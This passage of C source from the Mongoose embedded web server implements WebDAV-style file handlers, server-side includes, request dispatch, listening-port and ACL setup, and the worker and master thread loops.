"mkcol(%s): %s", path, strerror(ERRNO));
return;
}
rc = mg_mkdir(path, 0755);
if (rc == 0) {
conn->status_code = 201;
mg_printf(conn, "HTTP/1.1 %d Created\r\n\r\n", conn->status_code);
} else if (rc == -1) {
if(errno == EEXIST)
send_http_error(conn, 405, "Method Not Allowed",
"mkcol(%s): %s", path, strerror(ERRNO));
else if(errno == EACCES)
send_http_error(conn, 403, "Forbidden",
"mkcol(%s): %s", path, strerror(ERRNO));
else if(errno == ENOENT)
send_http_error(conn, 409, "Conflict",
"mkcol(%s): %s", path, strerror(ERRNO));
else
send_http_error(conn, 500, http_500_error,
"fopen(%s): %s", path, strerror(ERRNO));
}
}
static void put_file(struct mg_connection *conn, const char *path) {
struct file file = STRUCT_FILE_INITIALIZER;
FILE *fp;
const char *range;
int64_t r1, r2;
int rc;
conn->status_code = mg_stat(path, &file) ? 200 : 201;
if ((rc = put_dir(path)) == 0) {
mg_printf(conn, "HTTP/1.1 %d OK\r\n\r\n", conn->status_code);
} else if (rc == -1) {
send_http_error(conn, 500, http_500_error,
"put_dir(%s): %s", path, strerror(ERRNO));
} else if ((fp = mg_fopen(path, "wb+")) == NULL) {
fclose(fp);
send_http_error(conn, 500, http_500_error,
"fopen(%s): %s", path, strerror(ERRNO));
} else {
fclose_on_exec(fp);
range = mg_get_header(conn, "Content-Range");
r1 = r2 = 0;
if (range != NULL && parse_range_header(range, &r1, &r2) > 0) {
conn->status_code = 206;
fseeko(fp, r1, SEEK_SET);
}
if (!forward_body_data(conn, fp, INVALID_SOCKET, NULL)) {
conn->status_code = 500;
}
mg_printf(conn, "HTTP/1.1 %d OK\r\nContent-Length: 0\r\n\r\n",
conn->status_code);
fclose(fp);
}
}
static void send_ssi_file(struct mg_connection *, const char *, FILE *, int);
static void do_ssi_include(struct mg_connection *conn, const char *ssi,
char *tag, int include_level) {
char file_name[MG_BUF_LEN], path[PATH_MAX], *p;
FILE *fp;
// sscanf() is safe here, since send_ssi_file() also uses buffer
// of size MG_BUF_LEN to get the tag. So strlen(tag) is always < MG_BUF_LEN.
if (sscanf(tag, " virtual=\"%[^\"]\"", file_name) == 1) {
// File name is relative to the webserver root
(void) mg_snprintf(path, sizeof(path), "%s%c%s",
conn->ctx->config[DOCUMENT_ROOT], '/', file_name);
} else if (sscanf(tag, " abspath=\"%[^\"]\"", file_name) == 1) {
// File name is relative to the webserver working directory
// or it is absolute system path
(void) mg_snprintf(path, sizeof(path), "%s", file_name);
} else if (sscanf(tag, " file=\"%[^\"]\"", file_name) == 1 ||
sscanf(tag, " \"%[^\"]\"", file_name) == 1) {
// File name is relative to the currect document
(void) mg_snprintf(path, sizeof(path), "%s", ssi);
if ((p = strrchr(path, '/')) != NULL) {
p[1] = '\0';
}
(void) mg_snprintf(path + strlen(path),
sizeof(path) - strlen(path), "%s", file_name);
} else {
cry(conn, "Bad SSI #include: [%s]", tag);
return;
}
if ((fp = mg_fopen(path, "rb")) == NULL) {
cry(conn, "Cannot open SSI #include: [%s]: fopen(%s): %s",
tag, path, strerror(ERRNO));
} else {
fclose_on_exec(fp);
if (match_prefix(conn->ctx->config[SSI_EXTENSIONS],
strlen(conn->ctx->config[SSI_EXTENSIONS]), path) > 0) {
send_ssi_file(conn, path, fp, include_level + 1);
} else {
send_file_data(conn, fp, 0, INT64_MAX);
}
fclose(fp);
}
}
#if !defined(NO_POPEN)
static void do_ssi_exec(struct mg_connection *conn, char *tag) {
char cmd[MG_BUF_LEN];
FILE *fp;
if (sscanf(tag, " \"%[^\"]\"", cmd) != 1) {
cry(conn, "Bad SSI #exec: [%s]", tag);
} else if ((fp = popen(cmd, "r")) == NULL) {
cry(conn, "Cannot SSI #exec: [%s]: %s", cmd, strerror(ERRNO));
} else {
send_file_data(conn, fp, 0, INT64_MAX);
pclose(fp);
}
}
#endif // !NO_POPEN
static void send_ssi_file(struct mg_connection *conn, const char *path,
FILE *fp, int include_level) {
char buf[MG_BUF_LEN];
int ch, offset, len, in_ssi_tag;
if (include_level > 10) {
cry(conn, "SSI #include level is too deep (%s)", path);
return;
}
in_ssi_tag = len = offset = 0;
while ((ch = fgetc(fp)) != EOF) {
if (in_ssi_tag && ch == '>') {
in_ssi_tag = 0;
buf[len++] = (char) ch;
buf[len] = '\0';
assert(len <= (int) sizeof(buf));
if (len < 6 || memcmp(buf, "<!--#", 5) != 0) {
// Not an SSI tag, pass it
(void) mg_write(conn, buf, (size_t) len);
} else {
if (!memcmp(buf + 5, "include", 7)) {
do_ssi_include(conn, path, buf + 12, include_level);
#if !defined(NO_POPEN)
} else if (!memcmp(buf + 5, "exec", 4)) {
do_ssi_exec(conn, buf + 9);
#endif // !NO_POPEN
} else {
cry(conn, "%s: unknown SSI " "command: \"%s\"", path, buf);
}
}
len = 0;
} else if (in_ssi_tag) {
if (len == 5 && memcmp(buf, "<!--#", 5) != 0) {
// Not an SSI tag
in_ssi_tag = 0;
} else if (len == (int) sizeof(buf) - 2) {
cry(conn, "%s: SSI tag is too large", path);
len = 0;
}
buf[len++] = ch & 0xff;
} else if (ch == '<') {
in_ssi_tag = 1;
if (len > 0) {
mg_write(conn, buf, (size_t) len);
}
len = 0;
buf[len++] = ch & 0xff;
} else {
buf[len++] = ch & 0xff;
if (len == (int) sizeof(buf)) {
mg_write(conn, buf, (size_t) len);
len = 0;
}
}
}
// Send the rest of buffered data
if (len > 0) {
mg_write(conn, buf, (size_t) len);
}
}
static void handle_ssi_file_request(struct mg_connection *conn,
const char *path) {
struct vec mime_vec;
FILE *fp;
if ((fp = mg_fopen(path, "rb")) == NULL) {
send_http_error(conn, 500, http_500_error, "fopen(%s): %s", path,
strerror(ERRNO));
} else {
conn->must_close = 1;
fclose_on_exec(fp);
get_mime_type(conn->ctx, path, &mime_vec);
mg_printf(conn, "HTTP/1.1 200 OK\r\n"
"Content-Type: %.*s\r\n"
"Connection: close\r\n\r\n",
(int) mime_vec.len, mime_vec.ptr);
send_ssi_file(conn, path, fp, 0);
fclose(fp);
}
}
static void handle_options_request(struct mg_connection *conn) {
static const char reply[] = "HTTP/1.1 200 OK\r\n"
"Allow: GET, POST, HEAD, CONNECT, PUT, DELETE, OPTIONS, PROPFIND, MKCOL\r\n"
"DAV: 1\r\n\r\n";
conn->status_code = 200;
mg_write(conn, reply, sizeof(reply) - 1);
}
static int isbyte(int n) {
return n >= 0 && n <= 255;
}
static int parse_net(const char *spec, uint32_t *net, uint32_t *mask) {
int n, a, b, c, d, slash = 32, len = 0;
if ((sscanf(spec, "%d.%d.%d.%d/%d%n", &a, &b, &c, &d, &slash, &n) == 5 ||
sscanf(spec, "%d.%d.%d.%d%n", &a, &b, &c, &d, &n) == 4) &&
isbyte(a) && isbyte(b) && isbyte(c) && isbyte(d) &&
slash >= 0 && slash < 33) {
len = n;
*net = ((uint32_t)a << 24) | ((uint32_t)b << 16) | ((uint32_t)c << 8) | d;
*mask = slash ? 0xffffffffU << (32 - slash) : 0;
}
return len;
}
static int is_put_or_delete_request(const struct mg_connection *conn) {
const char *s = conn->request_info.request_method;
return s != NULL && (!strcmp(s, "PUT") ||
!strcmp(s, "DELETE") ||
!strcmp(s, "MKCOL"));
}
static int get_first_ssl_listener_index(const struct mg_context *ctx) {
int i, index = -1;
for (i = 0; index == -1 && i < ctx->num_listening_sockets; i++) {
index = ctx->listening_sockets[i].is_ssl ? i : -1;
}
return index;
}
static void redirect_to_https_port(struct mg_connection *conn, int ssl_index) {
char host[1025];
const char *host_header;
if ((host_header = mg_get_header(conn, "Host")) == NULL ||
sscanf(host_header, "%1024[^:]", host) == 0) {
// Cannot get host from the Host: header. Fallback to our IP address.
sockaddr_to_string(host, sizeof(host), &conn->client.lsa);
}
mg_printf(conn, "HTTP/1.1 302 Found\r\nLocation: https://%s:%d%s\r\n\r\n",
host, (int) ntohs(conn->ctx->listening_sockets[ssl_index].
lsa.sin.sin_port), conn->request_info.uri);
}
static void handle_delete_request(struct mg_connection *conn,
const char *path) {
struct file file = STRUCT_FILE_INITIALIZER;
if (!mg_stat(path, &file)) {
send_http_error(conn, 404, "Not Found", "%s", "File not found");
} else if (!file.modification_time) {
send_http_error(conn, 500, http_500_error, "remove(%s): %s", path,
strerror(ERRNO));
} else if (file.is_directory) {
remove_directory(conn, path);
send_http_error(conn, 204, "No Content", "%s", "");
} else if (mg_remove(path) == 0) {
send_http_error(conn, 204, "No Content", "%s", "");
} else {
send_http_error(conn, 423, "Locked", "remove(%s): %s", path,
strerror(ERRNO));
}
}
// This is the heart of the Mongoose's logic.
// This function is called when the request is read, parsed and validated,
// and Mongoose must decide what action to take: serve a file, or
// a directory, or call embedded function, etcetera.
static void handle_request(struct mg_connection *conn) {
struct mg_request_info *ri = &conn->request_info;
char path[PATH_MAX];
int uri_len, ssl_index;
struct file file = STRUCT_FILE_INITIALIZER;
if ((conn->request_info.query_string = strchr(ri->uri, '?')) != NULL) {
* ((char *) conn->request_info.query_string++) = '\0';
}
uri_len = (int) strlen(ri->uri);
mg_url_decode(ri->uri, uri_len, (char *) ri->uri, uri_len + 1, 0);
remove_double_dots_and_double_slashes((char *) ri->uri);
path[0] = '\0';
convert_uri_to_file_name(conn, path, sizeof(path), &file);
// Perform redirect and auth checks before calling begin_request() handler.
// Otherwise, begin_request() would need to perform auth checks and redirects.
if (!conn->client.is_ssl && conn->client.ssl_redir &&
(ssl_index = get_first_ssl_listener_index(conn->ctx)) > -1) {
redirect_to_https_port(conn, ssl_index);
} else if (!is_put_or_delete_request(conn) &&
!check_authorization(conn, path)) {
send_authorization_request(conn);
} else if (call_user(MG_REQUEST_BEGIN, conn, (void *) ri->uri) == 1) {
// Do nothing, callback has served the request
} else if (!strcmp(ri->request_method, "OPTIONS")) {
handle_options_request(conn);
} else if (conn->ctx->config[DOCUMENT_ROOT] == NULL) {
send_http_error(conn, 404, "Not Found", "Not Found");
} else if (is_put_or_delete_request(conn) &&
(is_authorized_for_put(conn) != 1)) {
send_authorization_request(conn);
} else if (!strcmp(ri->request_method, "PUT")) {
put_file(conn, path);
} else if (!strcmp(ri->request_method, "MKCOL")) {
mkcol(conn, path);
} else if (!strcmp(ri->request_method, "DELETE")) {
handle_delete_request(conn, path);
} else if (file.modification_time == (time_t) 0 ||
must_hide_file(conn, path)) {
send_http_error(conn, 404, "Not Found", "%s", "File not found");
} else if (file.is_directory && ri->uri[uri_len - 1] != '/') {
mg_printf(conn, "HTTP/1.1 301 Moved Permanently\r\n"
"Location: %s/\r\n\r\n", ri->uri);
} else if (!strcmp(ri->request_method, "PROPFIND")) {
handle_propfind(conn, path, &file);
} else if (file.is_directory &&
!substitute_index_file(conn, path, sizeof(path), &file)) {
if (!mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes")) {
handle_directory_request(conn, path);
} else {
send_http_error(conn, 403, "Directory Listing Denied",
"Directory listing denied");
}
#ifdef USE_LUA
} else if (match_prefix("**.lp$", 6, path) > 0) {
handle_lsp_request(conn, path, &file, NULL);
#endif
#if !defined(NO_CGI)
} else if (match_prefix(conn->ctx->config[CGI_EXTENSIONS],
strlen(conn->ctx->config[CGI_EXTENSIONS]),
path) > 0) {
if (strcmp(ri->request_method, "POST") &&
strcmp(ri->request_method, "HEAD") &&
strcmp(ri->request_method, "GET")) {
send_http_error(conn, 501, "Not Implemented",
"Method %s is not implemented", ri->request_method);
} else {
handle_cgi_request(conn, path);
}
#endif // !NO_CGI
} else if (match_prefix(conn->ctx->config[SSI_EXTENSIONS],
strlen(conn->ctx->config[SSI_EXTENSIONS]),
path) > 0) {
handle_ssi_file_request(conn, path);
} else if (is_not_modified(conn, &file)) {
send_http_error(conn, 304, "Not Modified", "%s", "");
} else {
handle_file_request(conn, path, &file);
}
}
static void close_all_listening_sockets(struct mg_context *ctx) {
int i;
for (i = 0; i < ctx->num_listening_sockets; i++) {
closesocket(ctx->listening_sockets[i].sock);
}
free(ctx->listening_sockets);
}
static int is_valid_port(unsigned int port) {
return port > 0 && port < 0xffff;
}
// Valid listening port specification is: [ip_address:]port[s]
// Examples: 80, 443s, 127.0.0.1:3128, 1.2.3.4:8080s
// TODO(lsm): add parsing of the IPv6 address
static int parse_port_string(const struct vec *vec, struct socket *so) {
unsigned int a, b, c, d, ch, port;
int len;
#if defined(USE_IPV6)
char buf[100];
#endif
// MacOS needs that. If we do not zero it, subsequent bind() will fail.
// Also, all-zeroes in the socket address means binding to all addresses
// for both IPv4 and IPv6 (INADDR_ANY and IN6ADDR_ANY_INIT).
memset(so, 0, sizeof(*so));
so->lsa.sin.sin_family = AF_INET;
if (sscanf(vec->ptr, "%u.%u.%u.%u:%u%n", &a, &b, &c, &d, &port, &len) == 5) {
// Bind to a specific IPv4 address, e.g. 192.168.1.5:8080
so->lsa.sin.sin_addr.s_addr = htonl((a << 24) | (b << 16) | (c << 8) | d);
so->lsa.sin.sin_port = htons((uint16_t) port);
#if defined(USE_IPV6)
} else if (sscanf(vec->ptr, "[%49[^]]]:%d%n", buf, &port, &len) == 2 &&
inet_pton(AF_INET6, buf, &so->lsa.sin6.sin6_addr)) {
// IPv6 address, e.g. [3ffe:2a00:100:7031::1]:8080
so->lsa.sin6.sin6_family = AF_INET6;
so->lsa.sin6.sin6_port = htons((uint16_t) port);
#endif
} else if (sscanf(vec->ptr, "%u%n", &port, &len) == 1) {
// If only port is specified, bind to IPv4, INADDR_ANY
so->lsa.sin.sin_port = htons((uint16_t) port);
} else {
port = len = 0; // Parsing failure. Make port invalid.
}
ch = vec->ptr[len]; // Next character after the port number
so->is_ssl = ch == 's';
so->ssl_redir = ch == 'r';
// Make sure the port is valid and vector ends with 's', 'r' or ','
return is_valid_port(port) &&
(ch == '\0' || ch == 's' || ch == 'r' || ch == ',');
}
static int set_ports_option(struct mg_context *ctx) {
const char *list = ctx->config[LISTENING_PORTS];
int on = 1, success = 1;
#if defined(USE_IPV6)
int off = 0;
#endif
struct vec vec;
struct socket so, *ptr;
while (success && (list = next_option(list, &vec, NULL)) != NULL) {
if (!parse_port_string(&vec, &so)) {
cry(fc(ctx), "%s: %.*s: invalid port spec. Expecting list of: %s",
__func__, (int) vec.len, vec.ptr, "[IP_ADDRESS:]PORT[s|r]");
success = 0;
} else if (so.is_ssl && ctx->ssl_ctx == NULL) {
cry(fc(ctx), "Cannot add SSL socket, is -ssl_certificate option set?");
success = 0;
} else if ((so.sock = socket(so.lsa.sa.sa_family, SOCK_STREAM, 6)) ==
INVALID_SOCKET ||
// On Windows, SO_REUSEADDR is recommended only for
// broadcast UDP sockets
setsockopt(so.sock, SOL_SOCKET, SO_REUSEADDR,
(void *) &on, sizeof(on)) != 0 ||
#if defined(USE_IPV6)
(so.lsa.sa.sa_family == AF_INET6 &&
setsockopt(so.sock, IPPROTO_IPV6, IPV6_V6ONLY, (void *) &off,
sizeof(off)) != 0) ||
#endif
bind(so.sock, &so.lsa.sa, so.lsa.sa.sa_family == AF_INET ?
sizeof(so.lsa.sin) : sizeof(so.lsa)) != 0 ||
listen(so.sock, SOMAXCONN) != 0) {
cry(fc(ctx), "%s: cannot bind to %.*s: %d (%s)", __func__,
(int) vec.len, vec.ptr, ERRNO, strerror(errno));
closesocket(so.sock);
success = 0;
} else if ((ptr = (struct socket *) realloc(ctx->listening_sockets,
(ctx->num_listening_sockets + 1) *
sizeof(ctx->listening_sockets[0]))) == NULL) {
closesocket(so.sock);
success = 0;
} else {
set_close_on_exec(so.sock);
ctx->listening_sockets = ptr;
ctx->listening_sockets[ctx->num_listening_sockets] = so;
ctx->num_listening_sockets++;
}
}
if (!success) {
close_all_listening_sockets(ctx);
}
return success;
}
// Verify given socket address against the ACL.
// Return -1 if ACL is malformed, 0 if address is disallowed, 1 if allowed.
static int check_acl(struct mg_context *ctx, uint32_t remote_ip) {
int allowed, flag;
uint32_t net, mask;
struct vec vec;
const char *list = ctx->config[ACCESS_CONTROL_LIST];
// If any ACL is set, deny by default
allowed = list == NULL ? '+' : '-';
while ((list = next_option(list, &vec, NULL)) != NULL) {
flag = vec.ptr[0];
if ((flag != '+' && flag != '-') ||
parse_net(&vec.ptr[1], &net, &mask) == 0) {
cry(fc(ctx), "%s: subnet must be [+|-]x.x.x.x[/x]", __func__);
return -1;
}
if (net == (remote_ip & mask)) {
allowed = flag;
}
}
return allowed == '+';
}
#if !defined(_WIN32)
static int set_uid_option(struct mg_context *ctx) {
struct passwd *pw;
const char *uid = ctx->config[RUN_AS_USER];
int success = 0;
if (uid == NULL) {
success = 1;
} else {
if ((pw = getpwnam(uid)) == NULL) {
cry(fc(ctx), "%s: unknown user [%s]", __func__, uid);
} else if (setgid(pw->pw_gid) == -1) {
cry(fc(ctx), "%s: setgid(%s): %s", __func__, uid, strerror(errno));
} else if (setuid(pw->pw_uid) == -1) {
cry(fc(ctx), "%s: setuid(%s): %s", __func__, uid, strerror(errno));
} else {
success = 1;
}
}
return success;
}
#endif // !_WIN32
static int set_gpass_option(struct mg_context *ctx) {
struct file file = STRUCT_FILE_INITIALIZER;
const char *path = ctx->config[GLOBAL_PASSWORDS_FILE];
if (path != NULL && !mg_stat(path, &file)) {
cry(fc(ctx), "Cannot open %s: %s", path, strerror(ERRNO));
return 0;
}
return 1;
}
static int set_acl_option(struct mg_context *ctx) {
return check_acl(ctx, (uint32_t) 0x7f000001UL) != -1;
}
static void reset_per_request_attributes(struct mg_connection *conn) {
conn->path_info = NULL;
conn->num_bytes_sent = conn->num_bytes_read = 0;
conn->status_code = -1;
conn->must_close = conn->request_len = 0;
}
static void close_socket_gracefully(struct mg_connection *conn) {
#if defined(_WIN32)
char buf[MG_BUF_LEN];
int n;
#endif
struct linger linger;
// Set linger option to avoid socket hanging out after close. This prevent
// ephemeral port exhaust problem under high QPS.
linger.l_onoff = 1;
linger.l_linger = 1;
setsockopt(conn->client.sock, SOL_SOCKET, SO_LINGER,
(char *) &linger, sizeof(linger));
// Send FIN to the client
shutdown(conn->client.sock, SHUT_WR);
set_non_blocking_mode(conn->client.sock);
#if defined(_WIN32)
// Read and discard pending incoming data. If we do not do that and close the
// socket, the data in the send buffer may be discarded. This
// behaviour is seen on Windows, when client keeps sending data
// when server decides to close the connection; then when client
// does recv() it gets no data back.
do {
n = pull(NULL, conn, buf, sizeof(buf));
} while (n > 0);
#endif
// Now we know that our FIN is ACK-ed, safe to close
closesocket(conn->client.sock);
}
static void close_connection(struct mg_connection *conn) {
conn->must_close = 1;
#ifndef NO_SSL
if (conn->ssl != NULL) {
// Run SSL_shutdown twice to ensure completly close SSL connection
SSL_shutdown(conn->ssl);
SSL_free(conn->ssl);
conn->ssl = NULL;
}
#endif
if (conn->client.sock != INVALID_SOCKET) {
close_socket_gracefully(conn);
conn->client.sock = INVALID_SOCKET;
}
}
void mg_close_connection(struct mg_connection *conn) {
#ifndef NO_SSL
if (conn->client_ssl_ctx != NULL) {
SSL_CTX_free((SSL_CTX *) conn->client_ssl_ctx);
}
#endif
close_connection(conn);
free(conn);
}
static int is_valid_uri(const char *uri) {
// Conform to http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html#sec5.1.2
// URI can be an asterisk (*) or should start with slash.
return uri[0] == '/' || (uri[0] == '*' && uri[1] == '\0');
}
static const char *getreq(struct mg_connection *conn) {
const char *cl, *ret = NULL;
reset_per_request_attributes(conn);
conn->request_len = read_request(NULL, conn, conn->buf, conn->buf_size,
&conn->data_len);
assert(conn->request_len < 0 || conn->data_len >= conn->request_len);
if (conn->request_len == 0 && conn->data_len == conn->buf_size) {
conn->status_code = 413;
ret = "Request Entity Too Large";
} else if (conn->request_len <= 0) {
conn->status_code = 0;
ret = "Client closed connection";
} else if (parse_http_message(conn->buf, conn->buf_size,
&conn->request_info) <= 0) {
conn->status_code = 400;
ret = "Bad Request";
} else {
// Request is valid. Set content_len attribute by parsing Content-Length
// If Content-Length is absent, set content_len to 0 if request is GET,
// and set it to INT64_MAX otherwise. Setting to INT64_MAX instructs
// mg_read() to read from the socket until socket is closed.
// The reason for treating GET and POST/PUT differently is that libraries
// like jquery do not set Content-Length in GET requests, and we don't
// want mg_read() to hang waiting until socket is timed out.
// See https://github.com/cesanta/mongoose/pull/121 for more.
conn->content_len = INT64_MAX;
if (!mg_strcasecmp(conn->request_info.request_method, "GET")) {
conn->content_len = 0;
}
if ((cl = get_header(&conn->request_info, "Content-Length")) != NULL) {
conn->content_len = strtoll(cl, NULL, 10);
}
conn->birth_time = time(NULL);
}
return ret;
}
static void process_new_connection(struct mg_connection *conn) {
struct mg_request_info *ri = &conn->request_info;
int keep_alive_enabled, keep_alive, discard_len;
const char *msg = NULL;
keep_alive_enabled = !strcmp(conn->ctx->config[ENABLE_KEEP_ALIVE], "yes");
keep_alive = 0;
// Important: on new connection, reset the receiving buffer. Credit goes
// to crule42.
conn->data_len = 0;
do {
if ((msg = getreq(conn)) != NULL) {
conn->must_close = 1;
} else if (!is_valid_uri(conn->request_info.uri)) {
msg = "Bad Request";
conn->status_code = 400;
} else if (strcmp(ri->http_version, "1.0") &&
strcmp(ri->http_version, "1.1")) {
msg = "Bad HTTP Version";
conn->status_code = 505;
}
if (msg != NULL) {
// Do not send anything to the client on timeout
// see https://github.com/cesanta/mongoose/issues/261
if (conn->status_code > 0) {
send_http_error(conn, conn->status_code, msg, "%s", "");
}
} else {
handle_request(conn);
call_user(MG_REQUEST_END, conn, (void *) (long) conn->status_code);
log_access(conn);
}
if (ri->remote_user != NULL) {
free((void *) ri->remote_user);
// Important! When having connections with and without auth
// would cause double free and then crash
ri->remote_user = NULL;
}
// NOTE(lsm): order is important here. should_keep_alive() call
// is using parsed request, which will be invalid after memmove's below.
// Therefore, memorize should_keep_alive() result now for later use
// in loop exit condition.
keep_alive = conn->ctx->stop_flag == 0 && keep_alive_enabled &&
conn->content_len >= 0 && should_keep_alive(conn);
// Discard all buffered data for this request
discard_len = conn->content_len >= 0 && conn->request_len > 0 &&
conn->request_len + conn->content_len < (int64_t) conn->data_len ?
(int) (conn->request_len + conn->content_len) : conn->data_len;
assert(discard_len >= 0);
memmove(conn->buf, conn->buf + discard_len, conn->data_len - discard_len);
conn->data_len -= discard_len;
assert(conn->data_len >= 0);
assert(conn->data_len <= conn->buf_size);
} while (keep_alive);
}
// Worker threads take accepted socket from the queue
static int consume_socket(struct mg_context *ctx, struct socket *sp) {
recv(ctx->ctl[1], (void *) sp, sizeof(*sp), 0);
return !ctx->stop_flag;
}
static void *worker_thread(void *thread_func_param) {
struct mg_context *ctx = (struct mg_context *) thread_func_param;
struct mg_connection *conn;
conn = (struct mg_connection *) calloc(1, sizeof(*conn) + MAX_REQUEST_SIZE);
if (conn == NULL) {
cry(fc(ctx), "%s", "Cannot create new connection struct, OOM");
} else {
conn->buf_size = MAX_REQUEST_SIZE;
conn->buf = (char *) (conn + 1);
conn->ctx = ctx;
conn->event.user_data = ctx->user_data;
call_user(MG_THREAD_BEGIN, conn, NULL);
// Call consume_socket() even when ctx->stop_flag > 0, to let it signal
// sq_empty condvar to wake up the master waiting in produce_socket()
while (consume_socket(ctx, &conn->client)) {
conn->birth_time = time(NULL);
// Fill in IP, port info early so even if SSL setup below fails,
// error handler would have the corresponding info.
// Thanks to Johannes Winkelmann for the patch.
// TODO(lsm): Fix IPv6 case
conn->request_info.remote_port = ntohs(conn->client.rsa.sin.sin_port);
memcpy(&conn->request_info.remote_ip,
&conn->client.rsa.sin.sin_addr.s_addr, 4);
conn->request_info.remote_ip = ntohl(conn->request_info.remote_ip);
conn->request_info.is_ssl = conn->client.is_ssl;
if (!conn->client.is_ssl
#ifndef NO_SSL
|| sslize(conn, conn->ctx->ssl_ctx, SSL_accept)
#endif
) {
process_new_connection(conn);
}
close_connection(conn);
}
call_user(MG_THREAD_END, conn, NULL);
free(conn);
}
// Signal master that we're done with connection and exiting
send(ctx->ctl[1], "x", 1, 0);
DEBUG_TRACE(("exiting"));
return NULL;
}
// Master thread adds accepted socket to a queue
static void produce_socket(struct mg_context *ctx, const struct socket *sp) {
send(ctx->ctl[0], (void *) sp, sizeof(*sp), 0);
}
static int set_sock_timeout(SOCKET sock, int milliseconds) {
#ifdef _WIN32
DWORD t = milliseconds;
#else
struct timeval t;
t.tv_sec = milliseconds / 1000;
t.tv_usec = (milliseconds * 1000) % 1000000;
#endif
return setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (void *) &t, sizeof(t)) ||
setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (void *) &t, sizeof(t));
}
static void accept_new_connection(const struct socket *listener,
struct mg_context *ctx) {
struct socket so;
char src_addr[IP_ADDR_STR_LEN];
socklen_t len = sizeof(so.rsa);
int on = 1;
if ((so.sock = accept(listener->sock, &so.rsa.sa, &len)) == INVALID_SOCKET) {
} else if (!check_acl(ctx, ntohl(* (uint32_t *) &so.rsa.sin.sin_addr))) {
sockaddr_to_string(src_addr, sizeof(src_addr), &so.rsa);
cry(fc(ctx), "%s: %s is not allowed to connect", __func__, src_addr);
closesocket(so.sock);
} else {
// Put so socket structure into the queue
DEBUG_TRACE(("Accepted socket %d", (int) so.sock));
set_close_on_exec(so.sock);
so.is_ssl = listener->is_ssl;
so.ssl_redir = listener->ssl_redir;
getsockname(so.sock, &so.lsa.sa, &len);
// Set TCP keep-alive. This is needed because if HTTP-level keep-alive
// is enabled, and client resets the connection, server won't get
// TCP FIN or RST and will keep the connection open forever. With TCP
// keep-alive, next keep-alive handshake will figure out that the client
// is down and will close the server end.
// Thanks to Igor Klopov who suggested the patch.
setsockopt(so.sock, SOL_SOCKET, SO_KEEPALIVE, (void *) &on, sizeof(on));
set_sock_timeout(so.sock, atoi(ctx->config[REQUEST_TIMEOUT]));
produce_socket(ctx, &so);
}
}
static void *master_thread(void *thread_func_param) {
struct mg_context *ctx = (struct mg_context *) thread_func_param;
struct pollfd *pfd;
int i;
// Increase priority of the master thread
#if defined(_WIN32)
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);
#endif
#if defined(ISSUE_317)
struct sched_param sched_param;
sched_param.sched_priority = sched_get_priority_max(SCHED_RR);
pthread_setschedparam(pthread_self(), SCHED_RR, &sched_param);
#endif
call_user(MG_THREAD_BEGIN, fc(ctx), NULL);
pfd = (struct pollfd *) calloc(ctx->num_listening_sockets, sizeof(pfd[0]));
while (pfd != NULL && ctx->stop_flag == 0) {
for (i = 0; i < ctx->num_listening_sockets; i++) {
pfd[i].fd = ctx->listening_sockets[i].sock;
pfd[i].events = POLLIN;
}
if (poll(pfd, ctx->num_listening_sockets, 200) > 0) {
for (i = 0; i < ctx->num_listening_sockets; i++) {
// NOTE(lsm): on QNX, poll() returns POLLRDNORM after the
// successfull poll, and POLLIN is defined as (POLLRDNORM | POLLRDBAND)
// Therefore, we're checking pfd[i].revents & POLLIN, not
// pfd[i].revents == POLLIN.
if (ctx->stop_flag == 0 && (pfd[i].revents & POLLIN)) {
accept_new_connection(&ctx->listening_sockets[i], ctx);
}
}
}
}
free(pfd);
DEBUG_TRACE(("stopping workers"));
// Stop signal received: somebody called mg_stop. Quit.
close_all_listening_sockets(ctx);
// Wakeup workers that are waiting for connections to handle.
for (i = 0; i < ctx->num_threads; i++) {
struct socket dummy;
send(ctx->ctl[0], (void *) &dummy, sizeof(dummy), 0);
}
// Wait until all threads finish
for (i = 0; i < ctx->num_threads; i++) {
char ch;
recv(ctx->ctl[0], &ch, 1, 0);
}
#if !defined(NO_SSL)
uninitialize_ssl(ctx);
#endif
DEBUG_TRACE(("exiting"));
call_user(MG_THREAD_END, fc(ctx), NULL);
// Signal mg_stop() that we're done.
// WARNING: This must be the very last thing this
// thread does, as ctx becomes invalid after this line.
ctx->stop_flag = 2;
return NULL;
}
static void free_context(struct mg_context *ctx) {
int i;
// Deallocate config parameters
for (i = 0; i < NUM_OPTIONS; i++) {
if (ctx->config[i] != NULL)
free(ctx->config[i]);
}
#ifndef NO_SSL
// Deallocate SSL context
if (ctx->ssl_ctx != NULL) {
SSL_CTX_free(ctx->ssl_ctx);
}
if (ssl_mutexes != NULL) {
free(ssl_mutexes);
ssl_mutexes = NULL;
}
#endif // !NO_SSL
// Deallocate context itself
free(ctx);
}
void mg_stop(struct mg_context *ctx) {
ctx->stop_flag = 1;
// Wait until mg_fini() stops
while (ctx->stop_flag != 2) {
(void) mg_sleep(10);
}
free_context(ctx);
#if defined(_WIN32) && !defined(__SYMBIAN32__)
(void) WSACleanup();
#endif // _WIN32
}
struct mg_context *mg_start(const char **options,
mg_event_handler_t func,
void *user_data) {
struct mg_context *ctx;
const char *name, *value, *default_value;
int i;
#if defined(_WIN32) && !defined(__SYMBIAN32__)
WSADATA data;
WSAStartup(MAKEWORD(2,2), &data);
#endif // _WIN32
// Allocate context and initialize reasonable general case defaults.
// TODO(lsm): do proper error handling here.
if ((ctx = (struct mg_context *) calloc(1, sizeof(*ctx))) == NULL) {
return NULL;
}
ctx->event_handler = func;
ctx->user_data = user_data;
while (options && (name = *options++) != NULL) {
if ((i = get_option_index(name)) == -1) {
cry(fc(ctx), "Invalid option: %s", name);
free_context(ctx);
return NULL;
} else if ((value = *options++) == NULL) {
cry(fc(ctx), "%s: option value cannot be NULL", name);
free_context(ctx);
return NULL;
}
if (ctx->config[i] != NULL) {
cry(fc(ctx), "warning: %s: duplicate option", name);
free(ctx->config[i]);
}
ctx->config[i] = mg_strdup(value);
DEBUG_TRACE(("[%s] -> [%s]", name, value));
}
// Set default value if needed
for (i = 0; config_options[i * 2] != NULL; i++) {
default_value = config_options[i * 2 + 1];
if (ctx->config[i] == NULL && default_value != NULL) {
ctx->config[i] = mg_strdup(default_value);
}
}
// NOTE(lsm): order is important here. SSL certificates must
// be initialized before listening ports. UID must be set last.
if (!set_gpass_option(ctx) ||
#if !defined(NO_SSL)
